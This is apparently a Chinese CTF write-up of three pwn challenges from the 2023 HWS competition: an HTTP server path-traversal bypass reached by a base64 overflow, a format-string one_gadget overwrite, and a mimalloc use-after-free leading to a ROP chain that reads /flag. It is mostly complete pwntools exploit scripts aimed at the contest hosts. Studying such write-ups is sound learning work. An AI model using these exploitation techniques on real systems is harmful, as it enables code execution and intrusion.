2023 HWS pwn

链接:https://pan.baidu.com/s/1tXE2hCnld4tdbytiQtSvog
提取码:llaa

ezhttp

int v2; // [rsp+18h] [rbp-918h]
int v3; // [rsp+1Ch] [rbp-914h]
unsigned int v4; // [rsp+20h] [rbp-910h]
unsigned __int64 get_data_number; // [rsp+28h] [rbp-908h]
__int64 j; // [rsp+28h] [rbp-908h]
unsigned __int64 i; // [rsp+30h] [rbp-900h]
unsigned __int64 v8; // [rsp+30h] [rbp-900h]
unsigned __int64 v9; // [rsp+38h] [rbp-8F8h]
char *k; // [rsp+40h] [rbp-8F0h]
struct stat stat_buf; // [rsp+50h] [rbp-8E0h] BYREF
char v12[64]; // [rsp+E0h] [rbp-850h] BYREF
char haystack[256]; // [rsp+120h] [rbp-810h] BYREF
char request_mode[256]; // [rsp+220h] [rbp-710h] BYREF
char s[512]; // [rsp+320h] [rbp-610h] BYREF
char input[16]; // [rsp+520h] [rbp-410h] BYREF
char v17[5]; // [rsp+530h] [rbp-400h] BYREF
_BYTE v18[1011]; // [rsp+535h] [rbp-3FBh] BYREF
unsigned __int64 v19; // [rsp+928h] [rbp-8h]

分析过后要控制 sub_5596534A9993(a1, s, request_mode, k, v4);函数里的execl(a2, 0LL);来执行bin/sh

haystack和htdocs拼接组成a2 htdocs一般在Opt/lampp/htdocs下所以需要控制haystack为htdocs/../../../bin/sh,但是又过滤strstr(haystack, “..”)不能直接../ ,get_data_number = get_data(a1, input, 1024)那里可以溢出控制v18然后,利用sub_5596534A8766(v18, v12);再利用v12向haystack里写数值,sub_5596534A8766里四个v18处的值可以控制三个v12处的值,所以会从v12+63就需要来控制值来输出到haystack,所以第一个采用了//.的方式来写为Ly8u,后面采用/..的方式写Ly4u,然后最后用L===只写一个/,用等号来控制结束,最终就是htdocs/./../../..//bin/sh,其余判断常规绕过即可

__int64 __fastcall sub_5596534A8766(__int64 a1, __int64 a2)
{
int v2; // eax
int v3; // eax
unsigned int v4; // eax
unsigned __int8 j; // [rsp+1Bh] [rbp-15h]
unsigned __int8 k; // [rsp+1Bh] [rbp-15h]
unsigned __int8 m; // [rsp+1Bh] [rbp-15h]
unsigned __int8 n; // [rsp+1Bh] [rbp-15h]
int v10; // [rsp+1Ch] [rbp-14h]
unsigned int i; // [rsp+20h] [rbp-10h]
unsigned __int8 s; // [rsp+24h] [rbp-Ch] BYREF
unsigned __int8 v13; // [rsp+25h] [rbp-Bh]
unsigned __int8 v14; // [rsp+26h] [rbp-Ah]
unsigned __int8 v15; // [rsp+27h] [rbp-9h]
unsigned __int64 v16; // [rsp+28h] [rbp-8h]
// a1可控 a2+64写
v16 = __readfsqword(0x28u);
v10 = 0;
for ( i = 0; *(v10 + a1); ++i )
{
memset(&s, 255, 4uLL);
for ( j = 0; j <= 0x3Fu; ++j )
{
if ( off_5596534AD010[j] == *(v10 + a1) )
s = j; // 11 L
}
for ( k = 0; k <= 0x3Fu; ++k )
{
if ( off_5596534AD010[k] == *(v10 + 1LL + a1) )
v13 = k; // 50 y
}
for ( m = 0; m <= 0x3Fu; ++m )
{
if ( off_5596534AD010[m] == *(v10 + 2LL + a1) )
v14 = m; // 56 4
}
for ( n = 0; n <= 0x3Fu; ++n )
{
if ( off_5596534AD010[n] == *(v10 + 3LL + a1) )
v15 = n; // 46 u
}
v2 = i++;
*(v2 + a2) = (v13 >> 4) & 3 | (4 * s); // v13=50 s=11 /
if ( *(v10 + 2LL + a1) == '=' )
break;
v3 = i++;
*(v3 + a2) = (v14 >> 2) & 0xF | (16 * v13); // v14=56 111000 . 60 /
if ( *(v10 + 3LL + a1) == '=' )
break;
v4 = i;
*(v4 + a2) = v15 & 63 | (v14 << 6); // v15 46 . v14最后两位必须是00
v10 += 4;
}
return i;
}

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pwn'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote("60.204.140.184","30230")
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
sleep(1)
'''
get abcabcabcabc/bin/sh?.css.html
aaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbLy8uLy4uLy4uLy4uL===
Authorization: Basic
'''
payload=b'get abcabcabcabc/bin/bash?.css.html'
sl(payload)
sleep(2)
payload=b'a'*21+b'b'*84+b'Ly8uLy4uLy4uLy4uL==='
sl(payload)
sleep(1)
sl(b'Authorization: Basic ')
sleep(1)
io.send(b'\n')
io.interactive()

赛后看了wp发现sub_5596534A8766是一个base64的解密,直接构造覆写就行了

import base64
b'Authorization: Basic '+base64.b64encode(64*b'a'+b'/../../../../../../../../bin/sh?.html')

fmt

常规栈上字符串格式化漏洞,泄露main函数返回地址所在的栈地址和libc基址,然后长度不够所以一次写两个字节写onegadget到返回地址即可

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./fmt'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('60.204.140.184','30058')
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
# db('b *$rebase(0x00136D)')
# db('b *$rebase(0x013E8 )')

payload=b"%18$p%21$p"
sla(b"a str: ",payload)
ru(b'0x')
stack_tar=int(ru(b'0x'),16)+8
p('stack_tar',stack_tar)
__libc_start_main=int(ru(b'\n'),16)-243
p("__libc_start_main",__libc_start_main)
libc=LibcSearcher('__libc_start_main',__libc_start_main)
base=__libc_start_main-libc.dump('__libc_start_main')
p('base',base)
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''
ogg=base+0xe3b01
# payload=fmtstr_payload(6,{stack_tar:(ogg&0xffffffffff)},write_size='short')
payload=fmtstr_payload(6,{stack_tar:(ogg)},write_size='short')
print(payload)
print(len(payload))
sla(b"str: ",payload)
# sleep(2)
# print(hex(ogg))
io.interactive()

mi

https://lyoungjoo.github.io/2019/09/04/2019-TokyoWesterns-CTF-mi-write-up/

patchelf --set-rpath '/home/grxer/Desktop/share/2023hws/mi' ./pwn 

上面命令可以成功patch的原因应该是对方编译时的机器是Ubuntu20,我自己的也是u20

patchelf --set-rpath '/home/grxer/Desktop/share/2023hws/mi' ./pwn 
patchelf --set-rpath '/home/grxer/Desktop/share/2023hws/mi/' ./libmimalloc.so.2
patchelf --set-interpreter '/home/grxer/Desktop/share/2023hws/mi/ld.so' ./pwn

删除时没有将存放指针处置0,存在uaf漏洞,开启了沙箱

add(800,b"a"*1) #1
add(800,b"a"*1) #2
dele(1)
dele(2)
leak1=base+0x160
p("leak1",leak1)
edit(2,p64(leak1-8))
add(800,b"a"*1) #3
add(800,b"b"*1) #4
add(800,b"c"*1) #5
add(800,b"d"*8) #6

删除1和2,利用uaf再修改2的话会把原来的空闲堆块链条2–>1变为2–>leak1-8,后面再申请到#6时就可以拿到leak1-8这个堆块,所以我们可以利用这个来申请任意地址的堆块

有了任意申请之后就是地址泄露,可以利用简单的申请一个堆和show函数来泄露mimalloc堆块的起始地址也就是maps的最上面那一块,然后发现他起始地址偏移+0x160位置处有一个地址

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x55060000000 0x55064000000 rw-p 4000000 0 [anon_55060000]
pwndbg> tel 0x55060000000+0x160
00:00000x55060000160 —▸ 0x7fe7da5a5740 ◂— 0x7fe7da5a5740

然后发现0x7fe7da5a5740偏移+0x300处有一个地址是栈上的

pwndbg> tel 0x7fe7da5a5740+0x300
00:00000x7fe7da5a5a40 —▸ 0x7fffa5cd7100 —▸ 0x5642b1dc7950 ◂— endbr64
01:00080x7fe7da5a5a48 ◂— 0x0

所以我们可以利用一步步申请,show泄露地址的方法一直泄露到这个栈地址0x7fffa5cd7100(这里一直申请泄露地址-8处的堆块主要是为了防止add时输入覆盖了要泄露的地址),可以利用这个栈地址+偏移,泄露里libc基地址,然后来覆盖edit返回地址来orw,比赛时似乎有带猪脑过载,下面的payload有点犯傻的饶了圈子来orw,先改了edit返回的ebp为__libc_start_main+243返回地址-8的位置和返回地址为leave ret,然后在__libc_start_main+243处构造了orw,赛后想想其实直接改edit返回地址为orw即可,再仔细想想其实连pie都不用泄露呜呜呜

比赛时猪脑过载的EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pwn'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc_elf=ELF('./libc.so.6')
if args['REMOTE']:
io = remote("123.60.179.52","30304")
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")

def add(size,content):
sa(b'>>',b'1')
sa(b'size:',str(size).encode())
sa(b' Content:',content)

def dele(idx):
sa(b'>>',b'2')
sa(b'idx:',str(idx).encode())

def edit(idx,content):
sa(b'>>',b'3')
sa(b'idx:',str(idx).encode())
sa('Content:',content)

def show(idx):
sa(b'>>',b'4')
sa(b'idx:',str(idx).encode())
# db('b *$rebase(0x01545)')#malloc
# db('b *$rebase(0x0016B9)') #free
# db('b *$rebase(0x0017F9)') #edit
add(0x500,b"a"*1) #0
show(0)
rl()
base=uu64(r(6))&0xfffff000000
# 0x3755c020461
# 0x3755c 000000
p('base',base)

add(800,b"a"*1) #1
add(800,b"a"*1) #2
dele(1)
dele(2)
leak1=base+0x160
p("leak1",leak1)
edit(2,p64(leak1-8))
add(800,b"a"*1) #3
add(800,b"b"*1) #4
add(800,b"c"*1) #5
add(800,b"d"*8) #6
show(6)
ru(b'd'*8)
leak2=uu64(r(6))
leak3=0x7fd5a7093a40-0x7fd5a7093740+leak2
leak3=0x7fd5a7093a40-0x7fd5a7093740+leak2
p('leak2',leak2)
p('leak3',leak3)

add(1000,b"z"*1) #7
add(1000,b"x"*1) #8
dele(7)
dele(8)
edit(8,p64(leak3-8))
add(1000,b"e"*1) #9
add(1000,b"f"*1) #10
add(1000,b"g"*1) #11
# db('b *$rebase(0x01545)')#malloc
add(1000,b"h"*8) #12
show(12)
ru(b'h'*8)
leak_stack=uu64(r(6))
p('leak_stack',leak_stack)
__libc_start_main_243_stack=leak_stack-(0x7ffc8d14f0d0-0x7ffc8d14f0a8)
p('__libc_start_main_243_stack',__libc_start_main_243_stack)
# 0x1950
add(1000,b"z"*1) #13
add(1000,b"x"*1) #14
dele(13)
dele(14)
edit(14,p64(__libc_start_main_243_stack-8))
add(1000,b"e"*1) #15
add(1000,b"f"*1) #16
add(1000,b"g"*1) #17
add(1000,b"i"*8) #18
show(18)
ru(b'i'*8)
__libc_start_main=uu64(r(6))-243
p('__libc_start_main',__libc_start_main)
libc=LibcSearcher('__libc_start_main',__libc_start_main)
base=__libc_start_main-libc.dump('__libc_start_main')
p('base',base)

add(900,b"z"*1) #19
add(900,b"x"*1) #20
dele(19)
dele(20)
edit(20,p64(leak_stack-8))
add(900,b"e"*1) #21
add(900,b"f"*1) #22
add(900,b"g"*1) #23
add(900,b"j"*8) #24
show(24)
ru(b'j'*8)
pie=uu64(r(6))-0x1950
p('pie',pie)
systemcall=base+libc_elf.symbols['syscall']
p('systemcall',systemcall)
write=base+libc_elf.symbols['write']
read=base+libc_elf.symbols['read']
pop_rdi=pie+0x00000000000019b3
pop_rsi_r15=pie+0x00000000000019b1
pop_rdx=base+0x0000000000142c92
# db('b *$rebase(0x0017F9)') #edit
edit_ret=__libc_start_main_243_stack-0x20
p('edit_ret',edit_ret)
bss=__libc_start_main_243_stack+0x100
payload=b'a'*8+p64(pop_rdi)+p64(2)+p64(pop_rsi_r15)+p64(leak1)+p64(0xdeadbeef)+p64(systemcall)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)
payload+=p64(bss)+p64(0xdeadbeef)
payload+=p64(pop_rdx)+p64(60)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss)+p64(0xdeadbeef)+p64(pop_rdx)+p64(60)+p64(write)
edit(18,payload)
leave_ret=0x01840+pie
p('leaveret',leave_ret)
add(700,b"z"*1) #25
add(700,b"x"*1) #26
dele(25)
dele(26)
edit(26,p64(edit_ret-8))
add(700,b"e"*1) #27
add(700,b"f"*1) #28
add(700,b"g"*1) #29
# db('b *$rebase(0x0017F9)') #edit
# db('b *$rebase(0x01545)')#malloc
add(700,b'a') #30
add(700,b'a') #31
ret=pie+0x1841
# edit(31,p64(__libc_start_main_243_stack)+p64(leave_ret))
edit(6,b'a'*8+b'/flag\x00')
edit(31,p64(__libc_start_main_243_stack-8)+p64(leave_ret))
# b()
io.interactive()
'''
grxer@Ubantu20 ~/D/s/2/mi> ROPgadget --binary ./libc.so.6 --only 'pop|ret' | grep rdx
0x000000000015f8c5 : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000119211 : pop rdx ; pop r12 ; ret
0x000000000015f8c6 : pop rdx ; pop rbx ; ret
0x000000000010257d : pop rdx ; pop rcx ; pop rbx ; ret
0x0000000000142c92 : pop rdx ; ret
0x00000000000dfc12 : pop rdx ; ret 0x10
'''

赛后写wp头脑清醒,直接修改edit返回地址的,不用泄露pie的exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pwn'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc_elf=ELF('./libc.so.6')
if args['REMOTE']:
io = remote("123.60.179.52","30304")
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")

def add(size,content):
sa(b'>>',b'1')
sa(b'size:',str(size).encode())
sa(b' Content:',content)

def dele(idx):
sa(b'>>',b'2')
sa(b'idx:',str(idx).encode())

def edit(idx,content):
sa(b'>>',b'3')
sa(b'idx:',str(idx).encode())
sa('Content:',content)

def show(idx):
sa(b'>>',b'4')
sa(b'idx:',str(idx).encode())
# db('b *$rebase(0x01545)')#malloc
# db('b *$rebase(0x0016B9)') #free
# db('b *$rebase(0x0017F9)') #edit
add(0x500,b"a"*1) #0
show(0)
rl()
base=uu64(r(6))&0xfffff000000
# 0x3755c020461
# 0x3755c 000000
p('base',base)

add(800,b"a"*1) #1
add(800,b"a"*1) #2
dele(1)
dele(2)
leak1=base+0x160
p("leak1",leak1)
edit(2,p64(leak1-8))
add(800,b"a"*1) #3
add(800,b"b"*1) #4
add(800,b"c"*1) #5
add(800,b"d"*8) #6
show(6)
ru(b'd'*8)
leak2=uu64(r(6))
leak3=0x7fd5a7093a40-0x7fd5a7093740+leak2
leak3=0x7fd5a7093a40-0x7fd5a7093740+leak2
p('leak2',leak2)
p('leak3',leak3)

add(1000,b"z"*1) #7
add(1000,b"x"*1) #8
dele(7)
dele(8)
edit(8,p64(leak3-8))
add(1000,b"e"*1) #9
add(1000,b"f"*1) #10
add(1000,b"g"*1) #11
# db('b *$rebase(0x01545)')#malloc
add(1000,b"h"*8) #12
show(12)
ru(b'h'*8)
leak_stack=uu64(r(6))
p('leak_stack',leak_stack)
__libc_start_main_243_stack=leak_stack-(0x7ffc8d14f0d0-0x7ffc8d14f0a8)
p('__libc_start_main_243_stack',__libc_start_main_243_stack)
# 0x1950
add(1000,b"z"*1) #13
add(1000,b"x"*1) #14
dele(13)
dele(14)
edit(14,p64(__libc_start_main_243_stack-8))
add(1000,b"e"*1) #15
add(1000,b"f"*1) #16
add(1000,b"g"*1) #17
add(1000,b"i"*8) #18
show(18)
ru(b'i'*8)
__libc_start_main=uu64(r(6))-243
p('__libc_start_main',__libc_start_main)
libc=LibcSearcher('__libc_start_main',__libc_start_main)
base=__libc_start_main-libc.dump('__libc_start_main')
p('base',base)

systemcall=base+libc_elf.symbols['syscall']
p('systemcall',systemcall)
write=base+libc_elf.symbols['write']
read=base+libc_elf.symbols['read']
pop_rdi=base+0x0000000000023b6a
pop_rsi_r15=base+0x0000000000023b68
pop_rdx=base+0x0000000000142c92
# db('b *$rebase(0x0017F9)') #edit
edit_ret=__libc_start_main_243_stack-0x20
p('edit_ret',edit_ret)
bss=__libc_start_main_243_stack+0x100
payload=p64(pop_rdi)+p64(2)+p64(pop_rsi_r15)+p64(leak1)+p64(0xdeadbeef)+p64(systemcall)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)
payload+=p64(bss)+p64(0xdeadbeef)
payload+=p64(pop_rdx)+p64(60)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss)+p64(0xdeadbeef)+p64(pop_rdx)+p64(60)+p64(write)

add(700,b"z"*1) #19
add(700,b"x"*1) #20
dele(19)
dele(20)
edit(20,p64(edit_ret-8))
add(700,b"e"*1) #21
add(700,b"f"*1) #22
add(700,b"g"*1) #23
# db('b *$rebase(0x0017F9)') #edit
# db('b *$rebase(0x01545)')#malloc
add(700,b'a') #24
add(700,b'a') #25

edit(6,b'a'*8+b'/flag\x00')
edit(25,p64(__libc_start_main_243_stack-8)+payload)
# b()
io.interactive()
'''
grxer@Ubantu20 ~/D/s/2/mi> ROPgadget --binary ./libc.so.6 --only 'pop|ret' | grep rdx
0x000000000015f8c5 : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000119211 : pop rdx ; pop r12 ; ret
0x000000000015f8c6 : pop rdx ; pop rbx ; ret
0x000000000010257d : pop rdx ; pop rcx ; pop rbx ; ret
0x0000000000142c92 : pop rdx ; ret
0x00000000000dfc12 : pop rdx ; ret 0x10
'''